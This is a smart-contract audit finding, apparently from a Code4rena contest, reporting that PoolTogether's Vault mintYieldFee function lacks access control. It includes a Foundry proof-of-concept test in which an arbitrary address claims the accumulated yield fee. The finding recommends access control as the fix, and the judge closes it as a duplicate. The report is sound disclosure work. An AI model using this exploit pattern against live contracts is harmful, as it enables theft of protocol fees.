code423n4 commented 1 year ago

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-#L402

Vulnerability details

Impact

Anyone can claim yield fee.

Proof of Concept

PoolTogether's Vault allows users to call liquidate to provide prize tokens and receive Vault shares in exchange. Each time liquidate is called, a fee is calculated and accumulated on _yieldFeeTotalSupply variable. The Vault contract also has a function called mintYieldFee, which is described as Mint Vault shares to the yield fee _recipient, implemented as follows:

  function mintYieldFee(uint256 _shares, address _recipient) external {
    _requireVaultCollateralized();
    if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);

    _yieldFeeTotalSupply -= _shares;
    _mint(_recipient, _shares);

    emit MintYieldFee(msg.sender, _recipient, _shares);
  }

However,as you can see, this function doesn't require any authorization, and anyone can call it and claim the accumulated fee to their shares..

Below is a POC for the above example, for ease of testing, let's place this test case in file vault/test/unit/Vault/Liquidate.t.sol under contract VaultLiquidateTest, then test it using command: forge test --match-path test/unit/Vault/Liquidate.t.sol --match-test testAnyOneCanClaimYieldFee -vvvv In the

function testAnyOneCanClaimYieldFee() external {
    _setLiquidationPair();

    vault.setYieldFeePercentage(200000000);

    underlyingAsset.mint(address(this), 1000e18);
    _sponsor(underlyingAsset, vault, 1000e18, address(this));

    // Mint some yield
    underlyingAsset.mint(address(yieldVault), 10e18);

    // Mint some prize tokens for alice
    prizeToken.mint(alice, 1000e18);

    // Alice liquidate (deposit prize tokens in exchange for vault shares)
    uint256 aliceShares = 1e18; // this is also the desired share alice want to receive
    vm.prank(address(liquidationPair));
    vault.liquidate(
      alice,
      address(prizeToken),
      1e18, // this is tokens in
      address(vault),
      aliceShares // amountOut
    );

    uint256 yieldFeeTotalSupply = vault.yieldFeeTotalSupply();

    // Anyone can call mint yield fee and convert
    // the vault's accumulated fee to his/her shares

    address anyOne = address(0x1111);
    vault.mintYieldFee(yieldFeeTotalSupply, anyOne);

    assertEq(vault.balanceOf(anyOne), yieldFeeTotalSupply);

  }

Tools Used

Manual review

Recommended Mitigation Steps

I recommend providing appropriate access control for this function.

Assessed type

Access Control

c4-judge commented 1 year ago

Picodes marked the issue as duplicate of #396